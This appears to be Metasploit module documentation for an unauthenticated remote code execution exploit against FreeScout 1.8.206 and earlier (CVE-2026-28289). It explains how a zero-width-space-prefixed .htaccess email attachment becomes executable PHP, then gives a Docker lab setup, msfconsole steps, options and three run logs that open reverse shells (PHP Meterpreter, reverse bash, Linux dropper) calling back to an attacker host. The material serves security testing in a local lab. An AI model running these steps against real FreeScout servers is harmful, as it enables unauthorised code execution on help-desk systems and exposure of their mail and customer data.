## Vulnerable Application This module exploits an unauthenticated remote code execution vulnerability in FreeScout <= 1.8.206 (CVE-2026-28289). The `sanitizeUploadedFileName()` function checks for dot-prefixed filenames before stripping Unicode format characters (ZWSP U+200B), creating a TOCTOU condition that allows `.htaccess` upload via email attachment. The exploit sends a crafted email with a ZWSP-prefixed `.htaccess` attachment to a FreeScout mailbox. When FreeScout fetches the email via IMAP/POP3 polling, the ZWSP is stripped and the file is stored as `.htaccess`. The file uses Apache's `SetHandler` directive to make itself executable as PHP. ### Docker Setup ```bash mkdir freescout-lab && cd freescout-lab ``` Create `mailpit-auth.txt`: ``` support@freescout.local:password ``` Create `docker-compose.yml`: ```yaml services: app: build: context: . args: FREESCOUT_VERSION: "1.8.206" container_name: freescout-lab ports: - "8889:80" depends_on: db: condition: service_healthy mail: condition: service_started db: image: mariadb:10.11 container_name: freescout-db environment: MYSQL_DATABASE: freescout MYSQL_USER: freescout MYSQL_PASSWORD: freescout MYSQL_ROOT_PASSWORD: root healthcheck: test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] interval: 5s timeout: 3s retries: 10 mail: image: axllent/mailpit:latest container_name: freescout-mail ports: - "8025:8025" - "1026:1025" volumes: - ./mailpit-auth.txt:/auth.txt:ro environment: MP_SMTP_AUTH_ACCEPT_ANY: 1 MP_SMTP_AUTH_ALLOW_INSECURE: 1 MP_POP3_AUTH_FILE: /auth.txt ``` Create `Dockerfile`: ```dockerfile FROM php:8.1-apache ARG FREESCOUT_VERSION=1.8.206 RUN apt-get update && apt-get install -y \ libpng-dev libjpeg-dev libfreetype6-dev libzip-dev libicu-dev \ libxml2-dev libonig-dev unzip git curl default-mysql-client cron \ && docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install gd zip intl mbstring xml pdo pdo_mysql bcmath iconv \ && a2enmod rewrite \ && rm -rf /var/lib/apt/lists/* WORKDIR /tmp RUN rm -rf /var/www/html && git clone --depth 1 --branch ${FREESCOUT_VERSION} \ https://github.com/freescout-helpdesk/freescout.git /var/www/html WORKDIR /var/www/html RUN chown -R www-data:www-data /var/www/html \ && chmod -R 755 /var/www/html/storage /var/www/html/bootstrap/cache RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf ENV APACHE_DOCUMENT_ROOT=/var/www/html/public RUN sed -ri 's!/var/www/html!${APACHE_DOCUMENT_ROOT}!g' /etc/apache2/sites-available/*.conf COPY docker-entrypoint.sh /usr/local/bin/ RUN chmod +x /usr/local/bin/docker-entrypoint.sh ENTRYPOINT ["docker-entrypoint.sh"] CMD ["apache2-foreground"] ``` Create `docker-entrypoint.sh`: ```bash #!/bin/bash set -e echo "[*] Waiting for MySQL..." until php -r "new PDO('mysql:host=db;dbname=freescout', 'freescout', 'freescout');" 2>/dev/null; do sleep 2 done if [ ! -f /var/www/html/.env ]; then echo "[*] Creating .env..." cat > /var/www/html/.env << 'EOF' APP_URL=http://localhost:8889 APP_KEY=base64:RDsOPJLEGKDP8BPkWmgbAgDrT3VGhns1MiCPSKGBpMo= DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=freescout DB_USERNAME=freescout DB_PASSWORD=freescout APP_DEBUG=true EOF chown www-data:www-data /var/www/html/.env fi echo "[*] Running migrations..." cd /var/www/html php artisan migrate --force --seed 2>/dev/null || php artisan migrate --force echo "[*] Creating storage link..." rm -f /var/www/html/public/storage ln -s /var/www/html/storage/app /var/www/html/public/storage echo "[*] Creating admin user and mailbox..." php -r " require '/var/www/html/vendor/autoload.php'; \$app = require_once '/var/www/html/bootstrap/app.php'; \$kernel = \$app->make(Illuminate\Contracts\Console\Kernel::class); \$kernel->bootstrap(); \$u = App\User::firstOrNew(['email' => 'admin@freescout.local']); \$u->fill([ 'first_name' => 'Admin', 'last_name' => 'User', 'password' => bcrypt('admin123'), 'role' => App\User::ROLE_ADMIN, 'status' => App\User::STATUS_ACTIVE, ]); \$u->save(); echo \"[+] Admin user ready\n\"; \$m = App\Mailbox::firstOrNew(['email' => 'support@freescout.local']); \$m->name = 'Support'; \$m->email = 'support@freescout.local'; \$m->in_server = 'mail'; \$m->in_port = 1110; \$m->in_protocol = 2; \$m->in_encryption = 1; \$m->in_username = 'support@freescout.local'; \$m->in_password = 'password'; \$m->in_validate_cert = 0; \$m->ticket_status = 1; \$m->ticket_assignee = 1; \$m->out_method = 3; \$m->out_server = 'mail'; \$m->out_port = 1025; \$m->out_username = ''; \$m->out_password = ''; \$m->out_encryption = 1; \$m->save(); try { \$m->users()->syncWithoutDetaching([\$u->id]); } catch (Exception \$e) {} echo \"[+] Mailbox ready: support@freescout.local (POP3 from mail:1110)\n\"; " php artisan freescout:clear-cache 2>/dev/null || true chown -R www-data:www-data /var/www/html/storage echo "* * * * * www-data /usr/local/bin/php /var/www/html/artisan schedule:run >> /dev/null 2>&1" > /etc/cron.d/freescout chmod 0644 /etc/cron.d/freescout service cron start echo "[+] FreeScout lab ready at http://localhost:8889" echo "[+] Mailpit UI at http://localhost:8025" echo "[+] SMTP: localhost:1026 | POP3: mail:1110" echo "[+] Mailbox: support@freescout.local" exec "$@" ``` ```bash chmod +x docker-entrypoint.sh docker compose up -d ``` Wait about 60 seconds for migrations, admin user creation, and mailbox setup. ## Verification Steps 1. Start `msfconsole` 2. `use exploit/multi/http/freescout_htaccess_rce` 3. `set RHOST 127.0.0.1` (SMTP server) 4. `set RPORT 1026` (SMTP port) 5. `set HTTPHOST 127.0.0.1` (FreeScout web server) 6. `set HTTPPORT 8889` (FreeScout web port) 7. `set MAILTO support@freescout.local` 8. `set LHOST ` 9. `check` - verify it returns `Detected` 10. `run` - verify a session opens (may take up to 60s for email fetch) ## Options ### MAILTO The FreeScout mailbox email address to send the exploit email to. This must be a valid, configured mailbox in the target FreeScout instance. ### RHOST / RPORT The SMTP server and port used to deliver the exploit email. These come from the SMTPDeliver mixin (note: singular `RHOST`, not `RHOSTS`). This can be the target's own MX server, or any relay that delivers to the mailbox. ### HTTPHOST / HTTPPORT The FreeScout web server address and port. Used for the check method and to find the uploaded shell. Separate from RHOST because the SMTP and HTTP targets may be different hosts. Set `SSL true` for HTTPS targets. The module reads the server `Date` header to calculate when the next cron cycle will fetch the email. ### FETCH_WAIT (Advanced) Seconds to wait for the cron fetch cycle. Default is `60` (FreeScout polls every minute). The module uses the server `Date` header to calculate the exact wait time; this value is the fallback when the header is absent. ### DIR_COUNTER (Advanced) Max attachment counter per directory to scan. Default is `3`. On production instances with many conversations per mailbox, attachments may have higher counter values. Increase this if the module fails to find the shell. ## Scenarios ### FreeScout 1.8.206 - PHP Meterpreter (Target 0) ``` msf6 > use exploit/multi/http/freescout_htaccess_rce msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026 RPORT => 1026 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1 HTTPHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889 HTTPPORT => 8889 msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local MAILTO => support@freescout.local msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1 LHOST => 192.168.192.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf6 exploit(multi/http/freescout_htaccess_rce) > run [*] Started reverse TCP handler on 192.168.192.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely. [*] Sending exploit email to support@freescout.local via 127.0.0.1:1026 [+] Exploit email sent [*] Waiting 15s for next cron fetch cycle... [+] Shell at /storage/attachment/5/1/1/.htaccess [*] Sending stage (42137 bytes) to 192.168.192.4 [*] Meterpreter session 1 opened (192.168.192.1:4444 -> 192.168.192.4:50250) at 2026-03-05 17:37:11 +0100 meterpreter > ``` ### FreeScout 1.8.206 - Reverse Bash Shell (Target 1) ``` msf6 > use exploit/multi/http/freescout_htaccess_rce msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026 RPORT => 1026 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1 HTTPHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889 HTTPPORT => 8889 msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local MAILTO => support@freescout.local msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1 LHOST => 192.168.192.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 1 TARGET => 1 msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD cmd/unix/reverse_bash PAYLOAD => cmd/unix/reverse_bash msf6 exploit(multi/http/freescout_htaccess_rce) > run [*] Started reverse TCP handler on 192.168.192.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely. [*] Sending exploit email to support@freescout.local via 127.0.0.1:1026 [+] Exploit email sent [*] Waiting 13s for next cron fetch cycle... [+] Shell at /storage/attachment/9/3/1/.htaccess [*] Command shell session 2 opened (192.168.192.1:4444 -> 192.168.192.4:41830) at 2026-03-05 17:42:35 +0100 sh-5.2$ ``` ### FreeScout 1.8.206 - Linux Dropper Meterpreter (Target 2) ``` msf6 > use exploit/multi/http/freescout_htaccess_rce msf6 exploit(multi/http/freescout_htaccess_rce) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set RPORT 1026 RPORT => 1026 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPHOST 127.0.0.1 HTTPHOST => 127.0.0.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set HTTPPORT 8889 HTTPPORT => 8889 msf6 exploit(multi/http/freescout_htaccess_rce) > set MAILTO support@freescout.local MAILTO => support@freescout.local msf6 exploit(multi/http/freescout_htaccess_rce) > set LHOST 192.168.192.1 LHOST => 192.168.192.1 msf6 exploit(multi/http/freescout_htaccess_rce) > set TARGET 2 TARGET => 2 msf6 exploit(multi/http/freescout_htaccess_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/http/freescout_htaccess_rce) > run [*] Started reverse TCP handler on 192.168.192.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] The service is running, but could not be validated. FreeScout detected. Version cannot be determined remotely. [*] Sending exploit email to support@freescout.local via 127.0.0.1:1026 [+] Exploit email sent [*] Waiting 24s for next cron fetch cycle... [+] Shell at /storage/attachment/7/4/1/.htaccess [*] Command Stager progress - 100.00% done (817/817 bytes) [*] Meterpreter session 3 opened (192.168.192.1:4444 -> 192.168.192.4:52100) at 2026-03-05 17:48:02 +0100 meterpreter > ```